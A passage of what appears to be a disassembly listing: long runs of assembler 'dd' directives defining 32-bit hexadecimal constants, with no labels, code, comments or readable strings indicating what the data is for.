985AE1Fh, 3E9A00D2h, 0C2374626h, 0F900BC69h dd 23896AA3h, 10CD597h, 0FB8D2E77h, 9F75636Ch, 55C92681h dd 5C102022h, 4CD2FB5Dh, 0A212845Ah, 38D40EFAh, 8DCA1540h dd 0BE00AA4Fh, 767D9C08h, 5DDCE5h, 202A31D2h, 13662CDDh dd 9049A700h, 6D793958h, 87F600AFh, 0A4473F0Dh, 1A13BF12h dd 2440A8BDh, 0D7DECFB7h, 942F0055h, 0E149BA4Bh, 7B0051F9h dd 0A82AD536h, 4C7485h, 91DF4373h, 3D93152Bh, 0DAAE0E01h dd 4E5E5D99h, 4A7A453h, 0FA4B7220h, 4A0C90A6h, 7400F375h dd 474F6628h, 3E7F1Dh, 0ACD28B72h, 9F14E2ADh, 1CA6A202h dd 0C0819B48h, 163A6D60h, 23C09Eh, 5AA84430h, 0CE04A78Ch dd 6CFCECB2h, 0E0206081h, 482A4C34h, 0A494807Bh, 803724h dd 0F5777C3Bh, 2D244C32h, 8F800C38h, 0B97B8210h, 0A0B748E9h dd 0C4542041h, 0B51DD881h, 44895D8h, 0E8944D3Fh, 71408121h dd 5B6BFCD4h, 0E7770307h, 80FB7D42h, 2FFD9D04h, 7131007Eh dd 0A05E6F81h, 2009533Ch, 0A09B0EEDh, 4CCDFBF4h, 6C0806BCh dd 0A83834F9h, 0C3AC8859h, 4CE1B3E5h, 7D0464F9h, 0C0473264h dd 79A960C0h, 0CE1CA101h, 588CB7CDh, 0F4C1AC4h, 9A05E1CAh dd 7FC05463h, 306E1491h, 9CBB198Ah, 89D42D0Bh, 0F3D0A1F8h dd 48FA75F9h, 9806150h, 5C2C3C43h, 95AAD410h, 0AC691629h dd 59CDD887h, 4CF0D157h, 58961D7Dh, 660078FCh, 46D4493Dh dd 0BE0BC9F7h, 0A52ECEEFh, 6CC191C8h, 28806A98h, 516F4726h dd 571C85A4h, 0E4AB8981h, 45B8F480h, 72778D3Dh, 18817BA8h dd 180774DCh, 803994A1h, 8BEE0041h, 0F8DD9216h, 26D500EDh dd 2839BC3Ch, 4B007C68h, 917A64BEh, 3C3DF7Dh, 0EE8D5599h dd 6BDB4A7Eh, 948038B8h, 6DD88300h, 0CA998BDEh, 69A90042h dd 9CBD36C5h, 3700A824h, 0FF728883h, 14FCE39h, 94EB13FCh dd 0C5574E19h, 0AA0E480h dd 0A585DCE9h, 1FE5F400h, 0E4A461C9h, 8D930E30h, 0B06367FAh dd 0A1D1DAEFh, 0DFE1D29Ah, 11047020h, 0BEFE4000h, 3A57DC09h dd 0A48E1F0Bh, 1E88C36Ch, 8F80B898h, 0DB006911h, 1FB504B0h dd 3BD37ADh, 4B608AFBh, 0BEA0E941h, 5900AE14h, 0D285D655h dd 3C0744h, 0A00D6DF6h, 9FA8CB4h, 9DC19F1Dh, 0A8DCB94Ch dd 9A280114h, 0E288646Ah, 0B2CBD777h, 4B48BCD0h, 730E8476h dd 403F555Ch, 43C1E6F2h, 5FE3010Dh, 45FE667Fh, 118EF0D2h dd 9A3038h, 0D99C42BBh, 7406174h, 9268F17Fh, 7252E0C3h dd 0BB000C17h, 524A07Ch, 466DB9h, 0F5074E06h, 20B41680h dd 0FFEEF907h, 80EF24CCh, 7D52901Ah, 0F1011CBCh, 1221C014h dd 0FA42DD6Dh, 2825A80Eh, 0EDB3808Bh, 3339B4h, 3AFD82AEh dd 9124EEAFh, 53C22F07h, 0FAC05C51h, 244ABD75h, 1755F9h dd 2DA6AD5Dh, 815C4326h, 8A191CA7h, 185C400h, 397A61F2h dd 18F088F6h, 300A14DCh, 8A0656ACh, 0B5399385h, 752A04C0h dd 809E97F7h, 4B2789A9h, 84C02B54h, 0F4084300h, 2E25D82Fh dd 0C6536E81h, 0E33D3E1Ch, 0ACB26380h, 0FAB5CAFh, 744CD004h dd 0E8809472h, 95DD92Ch, 0FD01BB47h, 0FB84E080h, 1E160B15h dd 760278FAh, 0E066DBB5h, 30C664E5h, 0A8615A1Ah, 0BC38300Eh dd 0E110606Dh, 1DB148B3h, 803904EDh, 24AE4B99h, 0D47ECAEAh dd 9AF5E00h, 72C9B4E8h, 2CD11EDDh, 0FC9341E7h, 0F74AB092h dd 0C168FC00h, 3886C37Dh, 7290AEh, 6D33BE79h, 74134BFh dd 0C272C700h, 89DD8E3Ch, 0F5022421h, 0DE2E00A4h, 14C40E85h dd 0CE4FA00Fh, 0D54EC1ADh, 68801181h, 45E483D1h, 0F703335Dh dd 0A1FA60BAh, 0D003A0F5h, 0E5ED0025h, 0DBDEC84Dh, 9F076904h dd 2DF31D49h, 0C66529F0h, 58640371h, 0DF7A98C7h, 23638988h dd 30886900h, 42C1E9A3h, 819D0031h, 912CCC72h, 78FA6399h dd 8110A63Eh, 0B80F0ABh, 62B24D6h, 88B80EA6h, 3DEA2060h dd 78D27AC9h, 0C8520113h, 0CFB899BDh, 96B7D8C0h, 0ED06101h dd 94241231h, 76D7AC47h, 0C2B9F4C0h, 0B19A00A8h, 6E5868E7h dd 48F24667h, 0B440F72Ah, 0D2AAE104h, 3C81D69Dh, 0CAD84713h dd 0CD3E0745h, 2E306B89h, 0E8D16900h, 0FC00B3FBh, 1B14106Eh dd 6C73193h, 78C23F11h, 90005144h, 4157EB8Bh, 1E7E8247h dd 4119608Dh, 63FFAD1h, 1D40B953h, 877B50A5h, 59287A90h dd 0C56A58C0h, 0CBAC1414h, 0E100BC4Eh, 0CEB3D589h, 760764A0h dd 0FC5F7711h, 2F0D5820h, 0B10701B8h, 0FBA42BBEh, 8FD84C02h dd 63CC50Eh, 0FC86FE1Dh, 7A12CD4h, 0AB05B0ADh, 0EB78E031h dd 66281806h, 9A009CDEh, 0C97C488Ch, 9B570EDh, 3412C187h dd 30670C27h, 23EAF61Dh, 0C8D1B428h, 28ADDA00h, 0B1BC063Ah dd 0E04F00AAh, 5B8106Fh, 0BD00DB97h, 40E20C96h, 14D5774Ch dd 87BBF478h, 3A232900h, 0CA9C6936h, 73FAFE00h, 0B6F914ACh dd 903FE884h, 2CAA0040h, 0C65A5CBFh, 6C02F8EEh, 1C5973F2h dd 91509178h, 90EBF085h, 27B00469h, 0C220C17Ah, 0E431D89Bh dd 0AB0016F6h, 0F1A02DC9h, 7C6791h, 0A55D1424h, 0D3BE3008h dd 906073E6h, 82F73EC0h, 2C7C1444h, 20A4AC03h, 0B519B934h dd 0BDAB4A03h, 0C06F48F5h, 9B43888h, 26C72FC4h, 0C0812184h dd 0B697BB00h, 0A1D7A505h, 706001D3h, 30914B63h, 3106622h dd 0B618C813h, 0E4E0D0EBh, 1C541D4Dh, 0BA2500A1h, 0A98E8648h dd 0F1B43600h, 1042D070h, 944E14B9h, 770B0FCh, 31C3E6CAh dd 2E2A177h, 0DC69F9EFh, 25985D8Dh, 17E77E00h, 3AE34CF3h dd 9B1E0082h, 415EE83Eh, 0B5C7B1h, 0A3597F6Ch, 0A62018Dh dd 0E0E97203h, 8F22E0D7h, 90086F8h, 0F2AA3FF6h, 7F93317Ah dd 0AB013E67h, 18695500h, 0C15D8E6Dh, 0AD5CE903h, 7AFC2Ah dd 0C7DA0250h, 82D76803h, 1F6CC51Eh, 7F1BD440h, 0B9D14Fh dd 8F8ECA3Fh, 2FEB5D6Fh, 0E4699100h, 9F371E28h, 1017FADCh dd 0E4E5643h, 0C0404BA4h, 44866504h, 11CF00A0h, 370BBDFEh dd 8300AC48h, 3CBACE7Ah, 1D7C23C5h, 8052FD95h, 0BE6EAE32h dd 4D00B072h, 1B9ACDEAh, 48F621Ch, 0F6E384DDh, 60A1C05Eh dd 90A192E9h, 24ABC0A5h, 5D867C01h, 52E8F940h, 0B0762182h dd 9CA0630Eh, 0D42F5010h, 444F9400h, 9276E0A2h, 244A0F8Fh dd 0C03D1823h, 0CB5B67E4h, 0B9015A57h, 209D33AAh, 73302DBCh dd 137902C2h, 0E3B2A462h, 0EF088480h, 0A00020B9h, 8364FE86h dd 0FC040C99h, 712C2B80h, 0A1983040h, 80073068h, 37209E61h dd 5D0CA650h, 0D6B2005Ch, 2BD5A46Fh, 74A0930Dh, 4D2B2F8Ah dd 6C08C077h, 40F847D4h, 0FDE54476h, 827E3C2Eh, 7399C601h dd 0E2D0FBCAh, 0E32900E6h, 5B8ADF80h, 0F01C561h, 459762EFh dd 0A08377B0h, 49B87FA8h, 386AC964h, 9DD1D480h, 0F6A33037h dd 998884C9h, 266CC200h, 4AD42EB1h, 0F5AE00DCh, 9D8C5B2h dd 6700827Dh, 1E94EE15h, 2474C783h, 8E38D72Ch, 7720AA24h dd 11481B6Bh, 0BC004C71h, 0C50A93D4h, 0BF05D6h, 4E65FA06h dd 927A75CCh, 0DF9B2C00h, 310DC742h, 66E70E6h, 338FFB90h dd 0B6EA6832h, 0DA34D800h, 17D36D5Bh, 3B5E3E4Eh, 608C0824h dd 2D527D80h, 74A4F100h, 1D137B9Fh, 0EDA33FF8h, 4504E300h dd 11CD1FBBh, 2B0EDCA6h, 808E197Ah, 0D24BCED8h, 0EB300033h dd 5A23C314h, 37079B59h, 0F37816EFh, 98E03ED7h, 0A8838E0Ah dd 7DFDD8h, 0B55A6BABh, 6A7BBBBAh, 0A4D48200h, 0B9F10A86h dd 0F3E20185h, 90B74752h, 5D94203Eh, 5E9B8C04h, 5083CD1Ch dd 7DF2A883h, 27B50131h, 2D56C71Ah, 0AC283010h, 7849C303h dd 28A87Ah, 594F80B8h, 41A65647h, 389EF301h, 4AF2AD74h dd 1A0AFCh, 0A76BFA0Dh, 878DDBFh, 0C3B0FB00h, 1B4A47DBh dd 0F55B0FCDh, 0B960F6E0h, 2322D702h, 95063501h, 0EA18D56Eh dd 22FDAD4h, 5E17BA8Dh, 8C48130Dh, 9607A85Fh, 40508201h dd 0F47C98D9h, 37970339h, 4A834D62h, 0C09A3AF8h, 64358400h dd 525A2428h, 59DD6063h, 364F6CC3h, 7669AB12h, 60E95C00h dd 0E72D89h, 68771496h, 3F480D08h, 92B7D900h, 3A6D8709h dd 30FE888h, 77C2ACF8h, 0D6D076E3h, 660068C0h, 0B907D93Dh dd 585E1EC5h, 6700FCE6h, 9E9A27E8h, 0D7907CCEh, 0C279F500h dd 529D6954h, 0FFCD14EEh, 0E0078C77h, 198CF1DCh, 4100840Fh dd 9B8171A3h, 0C0B74F2Ah, 0DF0C100h, 4320DBBCh, 7256007Ah dd 0FFA785F7h, 952890CAh, 14906C52h, 73971300h, 0D6C27FD3h dd 6EB849h, 16CE946Dh, 5E7922D8h, 0E06DDC99h, 241177F0h dd 0BE648043h, 1CE3BA50h, 20EE71h, 3522D30h, 9B587D67h dd 3B0D09EDh, 2A9C00F8h, 0C5388Dh, 3C913029h, 8EE4CCD7h dd 1F0A81E8h, 0BCEDF780h, 0C861BB02h, 0CC4C4021h, 24F75DCh dd 79D6F0C9h, 98808227h, 18F3F86h, 524368C0h, 793E6EABh dd 0DA9000AFh, 0B07B94D0h, 2D1EFC8Fh, 80FBEA7Eh, 0F815C027h dd 796F760Dh, 0A20B013Fh, 734F19D7h, 49F05013h, 0B30047BFh dd 83FFF68Ah, 0E8CBBBEh, 203279F7h, 0F345AD60h, 0A0C13D76h dd 0B6D61EC7h, 6E20C457h, 480F042Eh, 2BC0244Ah, 50E8F40Bh dd 79AFBE00h, 0FABD2048h, 50C4A611h, 3E0DDB2Ah, 5C0279CAh dd 0EF4F89AFh, 0AB13C494h, 3D0085E4h, 0D28FBF7Fh, 56960135h dd 3CE98B17h, 3D3C6051h, 0FE9BF4A8h, 0C8418C0Ch, 1F8A1949h dd 80975D2Ch, 7D0A9024h, 0CE0E48F3h, 4912F932h, 1E09DDh dd 0B64C2184h, 86F70058h dd 9CED4193h, 3D000C9Eh, 441D1E8Fh, 9753E16h, 98C06D04h dd 570AC494h, 3C3EA7B9h, 6CDD003Ah, 2C25E0BAh, 0CE060FC6h dd 0CB20660Dh, 0D55FCD21h, 0BA03F73Eh, 5939BBA3h, 5420424Ch dd 5E011684h, 0D7E66014h, 6CC16433h, 468DD8h, 70D44CACh dd 7479CF42h, 147C4D24h, 0E2BB1C06h, 28CC8151h, 0DE21ECh dd 7AA44D69h, 0CDC5D2E0h, 62C04302h, 0C2869C4Bh, 0F1F89874h dd 0BBC1C0A7h, 0C2EA8E17h, 329EFC00h, 0D31067CFh, 0C98C9279h dd 0B4A00D70h, 0F2C5F4DCh, 0E416517h, 0DF028802h, 15F4804Dh dd 0ED5B77h, 0E7CB4CA7h, 4351C97Fh, 2EDD6F16h, 0AE868707h dd 241886Ch, 923F0FC3h, 0F46850D9h, 0CCB273C7h, 2557FA00h dd 0EE029A85h, 94C9043h, 336CC968h, 45279CAFh, 0B51120B6h dd 2534BB01h, 1CDCA97Dh, 980F6052h, 8506DA66h, 1032C12Ch dd 0F3DD8780h, 279A50Dh, 7C56C03Bh, 81FD4525h, 7EA1EB65h dd 342E1080h, 0FE3507ADh, 0E9D9C51Fh, 474ECEC0h, 0E0C262D6h dd 0C33B007Dh, 0E5BA90E0h, 0DA0082CAh, 24AF54CDh, 9DCC45h dd 7BAE28C2h, 95BCC767h, 7C7FBD00h, 0E0D5F166h, 76580F61h dd 980FEB80h, 13787BECh, 749F5C00h, 4839C9B2h, 0E560093h dd 0A3C53FDBh, 0C200339Ah, 61A75241h, 3BDF9F55h, 5781D658h dd 0F23DCA7Ch, 3C6F0F6h, 754950Ch, 0C148D3h, 0C3D4E8D1h dd 0BEF93C6Ah, 687A4406h, 20ACB3h, 6BD7D12Dh, 0D23FDA5h dd 3630FE70h, 70B1F8D0h, 2F6503B3h, 28F89F52h, 87BA1903h dd 88A6983Dh, 104F002h, 38B67FC8h, 4A1C9F1Fh, 8F400018h dd 0FDDB0954h, 0D30C14B8h, 0FEA04458h, 0D5098B6Ch, 7D93193Bh dd 7B988080h, 0E00C8766h, 3096D1D0h, 519500DBh, 0AB50A8BFh dd 7D7D5F56h, 81ED1100h, 0E62B32F0h, 92DF00BCh, 6C0A1DFCh dd 6116E20Dh, 0FF573Eh, 95274178h, 530EB52Eh, 8079C937h dd 8109F3ACh, 351800DEh, 0B411DA58h, 0F2004291h, 0C8D6A38Eh dd 0C330E5h, 8946B76Fh, 8C87AD41h, 0EFB85000h, 0A6384958h dd 5C9000F1h, 6BE6FF3Dh, 4F00F279h, 2B8CBF50h, 7C701A72h dd 8FECC8h, 0A0EC306Ch, 41D1EB56h, 0B454C12h, 5388D300h dd 0C7905FC9h, 0C0ABD978h, 7C2266Dh, 0BFA94200h, 44B8438Dh dd 1B3A1C2Eh, 57BDC024h, 6BF21963h, 0F6E30D0Eh, 56EE402Ah dd 0B5B85h, 0E481C261h, 0E31553D5h, 0DEE54604h, 80C0D0CDh dd 0F74C14h, 0FB74C9C4h, 7CAC7169h, 73B7D10Fh, 51A140E9h dd 1DBAE156h, 1F0AA5E3h, 28CDDE08h, 0A0B27EBAh, 10FC98h dd 41501EF1h, 0D95D2D1Ch, 0ADB93Fh, 0BC055C1Fh, 1DFBFC12h dd 0C08DA0D4h, 66C8A4AFh, 0DF00E5B8h, 0D6A250C4h, 18B6AEE0h dd 599B124Ch, 8100EF18h, 30273839h, 260D9EC9h, 271DA2h dd 8CCAF5BFh, 0C700F257h, 2A9D8562h, 0A08175B5h, 14312ACh dd 0CD1E304Ah, 3001F080h, 9200EF6Fh, 0C453412Eh, 4C038B27h dd 3F28DACAh, 0AE6800A4h, 293972CCh, 7008EA7h, 0BA039188h dd 14E297EFh, 0C441F960h, 0C5052Ch, 1DAD571Bh, 0CA1D2AEAh dd 0C5001073h, 0B10978B6h, 0ABD600E6h, 768F8A5h, 323B3E85h dd 5C63803Ah, 2BC75913h, 90FF0C88h, 8D183FDCh, 6892E360h dd 0ECF111h, 5F58FB57h, 281BA3DCh, 21E01212h, 2D0D1C40h dd 3FC4D8ACh, 30B9C299h, 0A91A2B02h, 0ECE08958h, 0B00875Dh dd 0E5ED8F4Eh, 398D5140h, 6F837506h, 0F7338E03h, 4287F580h dd 0E3579700h, 274F9460h, 91F600C8h, 0DC135AACh, 2200F711h dd 3FB05828h, 28A18BCCh, 843AA4h, 8D30D392h, 0B8D159FCh dd 58F65D00h, 425439A2h, 8FA5036h, 6DC00010h, 2A6C5E1Ah dd 7E6B1E2h, 9F83491Fh, 52B73240h, 98617F41h, 0ADA3009Ch dd 0CAAA8286h, 0D0008AFEh, 0EC487787h, 36831h, 76F5EF5h dd 71218D06h, 0A3B0503h, 0C0B20BCDh, 7151F0C5h, 99140EEDh dd 8B607EE1h, 0A45D63C1h, 12025Ch, 2FC4247Ch, 0DD2ECEh dd 0DABF1623h, 636D4B29h, 94F06105h, 4420A401h, 1FF66499h dd 4755D8F1h, 0A5F858A1h, 9DC500EBh, 0C16A7868h, 8F51C000h dd 948A2813h, 47A40A82h, 6CCF715h, 0F06AE3F1h, 22BC6614h dd 0FF2A0EE5h, 8618E78Fh, 3DEA9A71h, 18DD4160h, 31CCE606h dd 250075BAh, 6FA485CBh, 533A1Ah, 4A894E5Ah, 9430B338h dd 0D900A3FAh, 0CB8E4052h, 0E6681FEh, 0B811277Eh, 979F3740h dd 5B000214h, 1CCDB50h, 1CB2C3AAh, 40DDBF05h, 1126402Ah dd 8500B315h, 9B823639h, 20EE824h, 12815E46h, 86E08D79h dd 970CC2DCh, 0F8652737h, 99CC03E2h, 2330BCA4h, 6A87ADBh dd 0FA3BC0F6h, 2F619D4Ch, 6B1183C6h, 702201D0h, 0FB4807ABh dd 548FE129h, 0D8E40094h, 0C7219510h, 4DF058h, 9E446C99h dd 9CACDAh, 0C5B31AA5h, 62AAF3F9h, 0B80028E6h, 6F7764C9h dd 0E45A83C0h, 0D40EC0D1h, 0ADF05F0Eh, 7876AE30h, 1E10121Eh dd 92BFF82Fh, 71540028h, 83DD6539h, 7006E903h, 0C833E47Ch dd 0CE7C098h, 0F7809F87h, 5F7F1031h, 0D4780800h, 91E680Bh dd 0A4E6038Ah, 44154861h, 33952A8h, 0DD16EC0Fh, 490A8087h dd 60C2A21Dh, 1C05496Ah, 0EDB84528h, 21CBDE04h, 188098BBh dd 24AB59F7h, 5000541Eh, 95795A5Eh, 78CEE131h, 5021D1A0h dd 0EEA408h, 49FA4661h, 7BC7E292h, 0C5A88901h, 0E528A6D0h dd 0AEE7C4h, 277FDB3Ah, 8E64BAC7h, 8563D50Fh, 48B49401h dd 0E26000EDh, 91F9C4DCh, 0E1463BFBh, 144D2B00h, 6FE93C84h dd 7C6D1528h, 82AAD139h, 0C256710Dh, 0E239C040h, 1936007Ch dd 28ADCD49h, 12028E05h, 0FB31384Dh, 48A84C85h, 0F680E0FFh dd 3E557F8Dh, 0CC6D2807h, 0FC4A1253h, 1C85C4AAh, 1AD60A80h dd 2C6E692h, 0D0243AF4h, 0F8A07567h, 1CAA0251h, 3841500h dd 0E449735Dh, 2AA9F095h, 0F306C77h, 0B9ACED7Ch, 0C6406140h dd 4E4880E6h, 43D7210h, 4811A888h, 0F5E594A0h, 0B014E43Ah dd 18D13060h, 7920286Eh, 0C4F002ACh, 65ADA86Fh, 88E94540h dd 0B466E119h, 0E42086B9h, 88304931h, 0CE929E0Ah, 3AC683A0h dd 0ADB851D1h, 3B00659Ah, 89C35A80h, 0B8B00314h, 999C0041h dd 0F3923351h, 0FF00AAF4h, 91AB43B9h, 301E3BD6h, 910DEA9h dd 4CB89F49h, 0EC1FE200h, 60C166F0h, 0BC7900D3h, 0BD43E082h dd 0B0F298Eh, 200AA226h, 5E9A9D23h, 0DFAF002Fh, 0ED8AB7A9h dd 9EEA11C4h, 0A7B24F00h, 231F4DDBh, 0E7E30018h, 164A587Fh dd 100C007h, 0F3960D09h, 1418EBCh, 6BAAAC2Fh, 8738A115h dd 0EA80FD89h, 9EB935A0h, 38300B2h, 0B3D9EDB4h, 0E5030F1Bh dd 1D1FEC52h, 0E819E37Ah, 1866D7B7h, 10B3D631h, 271875E0h dd 7150FDA7h, 7FB83C6Eh, 0FB56A2Ch, 0B60D0B9h, 593427A2h dd 0ED0AC900h, 87E4B060h, 793F647h, 2081A62h, 4D099043h dd 0BE0044B4h, 13EC8B23h, 66896CFh, 0EE0A5A94h, 0BF00213Fh dd 0FBC69B21h, 7C7962Ah, 0D8BD4C2Dh, 3E88200Eh, 772E2ED6h dd 62006954h, 5CFA37ECh, 3AFB0023h, 2B0D8348h, 78003F1Fh dd 30602D8h, 0E1C67Fh, 0E7338584h, 465D80B1h, 0A60F7906h dd 300C2Ah, 594A5622h, 5C06AB6Bh, 0DF725300h, 264B901Eh dd 0B2DE0F58h, 0A880C877h, 3766E7D3h, 52062EEEh, 3B1BA669h dd 0F62D0069h, 77E1C4E3h, 7C482ABBh, 924100B4h, 714CB95Ch dd 0B14D00F6h, 0C4E0233Bh, 9289319h, 0DB0A848Bh, 0B0A26A75h dd 5D68Bh, 0AC25962Fh, 4BD9C0B8h, 0ADD8BF65h, 2900C672h dd 6CC206E3h, 7E40FA4h dd 80EA4550h, 4CEE0276h, 0A543A880h, 0A100ABFEh, 5CD4D861h dd 7993BC6Bh, 628C01CAh, 47814272h, 8331B9C2h, 0FB2C1756h dd 18CA98F6h, 6C571C2Fh, 8BA9473Bh, 43B16CE5h, 805D902Ah dd 0B993D203h, 0F0D1Fh, 60DEBFA8h, 0A0CE33EDh, 83582A39h dd 0D7DB6C9Fh, 4EE6E005h, 50590720h, 80BAD570h, 85E3ECA8h dd 0BDA0CF02h, 98C80644h, 0EC633D0h, 39B16677h, 0D4361B40h dd 2098BE5Bh, 0C70EA600h, 713E40BDh, 0A530C728h, 6E54A1A4h dd 0E5196CAh, 0A4AD100Ah, 3A708181h, 18849D10h, 9706596Dh dd 89AAC140h, 662981CDh, 6993171Eh, 0C05AD4h, 0F71CB68h dd 0EBA277E2h, 1800948h, 0D9CE0C93h, 0B1812BA8h, 57FB4B2Ch dd 445C20D0h, 0F0C97912h, 0FCB17840h, 0FC710D1h, 0A20C012h dd 18DB45A1h, 7228D822h, 8904250Fh, 80A094E4h, 0CB2C4959h dd 0AC2F4801h, 0C2B8D129h, 34907A81h, 0AB71630Bh, 0E9F6A00h dd 38A81FD9h, 6F7000Fh, 51E7072Bh, 31C0E436h, 34A2CEA6h dd 0F08848D5h, 0E56C04A0h, 85654400h, 76AD10EBh, 536200E7h dd 4FC08EDh, 0B2014255h, 3EA32D01h, 905C65AEh, 16BA00D1h dd 9F954103h, 0F90F3FDAh, 0A3AC99E5h, 732C587h, 7A5167C8h dd 46A07F7Fh, 0A3CA9E4Dh, 0D052D400h, 61F6D8FFh, 273603F2h dd 1E4DB9A0h, 0CA5DBEB0h, 0A0CA700h, 69DE28AFh, 7E98000Bh dd 331468B6h, 0FB0051F8h, 907A2AB4h, 10EE485h, 5A79E998h dd 0CBACA7FDh, 43E270C0h, 6781ED01h, 545B3E57h, 306CF720h dd 0BB9E2A5Eh, 0C548F670h, 64EC0098h, 56D6CB4Fh, 7B4B0034h dd 0ADFCC0B1h, 0D009C8Ch, 0BDD70898h, 64F020h, 77072863h dd 4433AE6h, 49768A00h, 0DF966C42h, 0F2E500CCh, 342FAC7Fh dd 0BF60721Fh, 19B6638h, 0BBB330CFh, 986DD510h, 33D41104h dd 4BC063D3h, 373EADh, 0FB87C843h, 3A0A587Eh, 89F5030Bh dd 6E288162h, 22DCF096h, 2DD0002Ah, 491CE272h, 0C43BFF9Dh dd 0C6EB8164h, 9F48EFC3h, 6F7C9C0h, 3D766EDh, 0FB00485Fh dd 98C2FE62h, 1C9CFA52h, 0C0D92C9Ah, 99D431B0h, 0E403508Bh dd 0E943B294h, 1F5E909Fh, 82BD006Ah, 0E8BE6719h, 593EC7B9h dd 6E00F9EAh, 0D82369DFh, 18E60B04h, 0A1BAC617h, 630078D1h dd 0C2406636h, 720454Bh, 62EA23EDh, 2DFD5004h, 1D7C4CD3h dd 73656C00h, 39BD2A24h, 0EC0D02C7h, 4A3DCF6Dh, 0D0CBC057h dd 80230071h, 28A15EE5h, 30C154CDh, 2930E207h, 3EC12081h dd 0D51C19E3h, 2C24E0D8h, 0B6D7F300h, 8E151031h, 9B43276Ah dd 0BD96B880h, 0C32ED837h, 3000E9A2h, 4F3D26CFh, 7118C0F4h dd 4515EB84h, 7B3F99F2h, 0F58D8768h, 0C5B03C0Ch, 56BD82h dd 63759FF2h, 0C23E9806h, 2601DDB8h, 78C15416h, 8FCA1E6Bh dd 48C39C80h, 19CE22AAh, 3188FA18h, 0D580F030h, 61F977E4h dd 0C30BDF0h, 0C9F91AD3h, 0D08C002Fh, 3EAEDBBCh, 0AB038635h dd 0B77C54F7h, 9A381827h, 0E12D509Dh, 0C79F210Ah, 0D000906Ah dd 145685EDh, 0CC930E18h, 8A0B477Eh, 80D43B08h, 21551C2Bh dd 6A00F280h, 0B92835A3h, 9CB08Eh, 0B47F74D7h, 73662781h dd 8991C260h, 1276EE53h, 48204Bh, 0B267C557h, 0C709B56h dd 0D1F03B00h, 0D69A96B8h, 9DC607A2h, 32A2318h, 7800C2E3h dd 11058E71h, 48A8EEh, 0CC7FA408h, 0E30F4102h, 2E4B9600h dd 79229CE4h, 8D21013Ah, 507D043h, 4A72D042h, 5AD320C0h dd 0DA2F79h, 1395D72Ch, 921F3B53h, 0CC826B00h, 0CA61BABFh dd 18DDF278h, 1860BB48h, 0E001D280h, 3BAE6C44h, 7083ACB0h dd 7659876Eh, 60007CEBh, 0E188DEC4h, 716FAC4Ch, 8D46362h dd 200E87F8h, 0C0882617h, 56E78496h, 3068E4A0h, 6B40E42Dh dd 0FD1D0C37h, 178331FEh, 396D3CCFh, 0D01F0170h, 927346B4h dd 41E312Ch, 3959B1E1h, 60E40E11h, 75E30151h, 0DDBB4FB4h dd 0FB54D0B3h, 3AED20C0h, 3A2A55Fh, 839D7FE7h, 0E1A0D811h dd 92037287h, 6DA0EFFEh, 6F7CB825h, 0ECB0A982h, 793D18C6h dd 0FC211526h, 9D99B021h, 79F0CA21h, 6B690070h, 3A278324h dd 4D54E31Ah, 0D3005CC0h, 60DB430Ch, 1334535h, 5F22B1CBh dd 0D4F97861h, 0C16198D0h, 89EE12E8h, 9DB9399Eh, 46B2C1E6h dd 0E718753Eh, 0FF16C384h, 0D8332CD1h, 8A1D7FF1h, 4070DCD8h dd 5088EF35h, 0F25643Ah, 8091C712h, 8186CD00h, 0D239F5A7h dd 85A500C9h, 984060A2h, 0AFA10066h, 0CD53BC46h, 9356DD13h dd 0FACA0204h, 0BDCBE0D1h, 0C030A30Ch, 17189F2Bh, 982A6C00h dd 0EE61E56Dh, 9E672894h, 0C855082h, 8EC4295h, 952B8F1Eh dd 0C62A1859h, 2131430Ch, 0C4659083h, 1D22921Ah, 10CF619h dd 0BBB12186h, 42EFF908h, 0F513BF74h, 0BD3F1844h, 0CA45122h dd 1805322Ah, 4484BC85h, 0AE147249h, 769CDA21h, 55F37101h dd 0A56E22D9h, 3E41A848h, 2B00255Bh, 0A2D817CFh, 0B8A80E20h dd 0B6002A46h, 97540B3Dh, 3752CAD1h, 0C338CCECh, 0CED3514Dh dd 0D0F4F583h, 0CD69D001h, 98EFBF1Ch, 9CD4F040h, 7D1C6A4h dd 2BF51E12h, 0FE363B2h, 1C7320D8h, 130B08C0h, 7C4CD99h dd 3B57F91Dh, 4071E1A9h, 0FE4DF985h, 16ED4C98h, 0D4D9CE60h dd 0FB4EA4h, 1589923Ah, 98205414h, 0CDED738h, 0C89DD24Dh dd 17D1007Ch, 4BD6C6D0h, 66E88291h, 95344200h, 0CA98BC6Eh dd 0DD370E20h, 0D39F176Fh, 0FE00FF9Dh, 9284DB45h, 0F989764Ah dd 5CF6AAD0h, 7000E460h, 0A1EC3ECCh, 2701060Fh, 0F4E3E507h dd 1CD4025Dh, 1F7A705Eh, 40269204h, 968D093Fh, 0C70059A2h dd 1591DF41h, 4849E9CFh, 0D000FD7Fh, 68CDA40h, 1D283DE5h dd 0E102145Eh, 0EEE69545h, 0E3A9032Ch, 0CFFCC01h, 53FA1AFh dd 5312B0D0h, 0F5245C13h, 0C4810E99h, 0B99B85A0h, 8238EAACh dd 394D8083h, 621B0FC1h, 3C067A19h, 0FE80DA8Dh, 0C75F466Bh dd 0E6309F9Dh, 4DFF8991h, 0B0830020h, 0DE8CDBC0h, 0F57B59E2h dd 92403B66h, 0B50B0729h, 202C951Dh, 38A98CD7h, 0F0E1B1DDh dd 0B846D655h, 714CAAA7h, 9B07AADh, 5DD7003Ah, 0BF6ED14Fh dd 62285693h, 4701B442h, 36753996h, 0F88CC2B4h, 0E410954h dd 3FE8B7Ch, 0CCCDCF2Ah, 0DA874700h, 4238CEBh, 0B620EECh dd 0C300B0BEh, 9718C2DFh, 0F0D0BF07h, 0B910C794h, 0D10840h dd 5DF7CBADh, 398CE527h, 0DFC15F1Dh, 7994F64Ch, 0F8F30041h dd 59042B8Dh, 8101BB78h, 736A65ADh, 0B083A29Fh, 644B511h dd 8C40E889h, 41658A90h, 0CE0F0386h, 4F4B8F77h, 8ACA310Eh dd 61CB6068h, 52D14EE0h, 80BDAC7Fh, 0E4A64298h, 24C1C6C0h dd 70940B5Fh, 450F05F7h, 1C840C9h, 8A52834Ch, 624495DAh dd 0E4A17BC9h, 24751DB4h, 112D540h, 34701186h, 38AF8932h dd 6580FFD8h, 399DB9F3h, 0AD094EB6h, 1D059BA1h, 60DCABE8h dd 0F832E093h, 2E773900h, 0F66A5F4Dh, 99884C87h, 0BE3C8447h dd 0A462212h, 0A06520h, 87671830h, 0A201B506h, 9A9C0E8Dh dd 0E9DC3982h, 486D3D89h, 62321001h, 99D10409h, 3F28A130h dd 5C78080h, 0E13D84AAh, 0CCA37A00h, 7DADC3E2h, 50D0A102h dd 0EB3ED20Ch, 4C93A89h, 0AFA0C082h, 0AFF1648Ah, 70836B4h dd 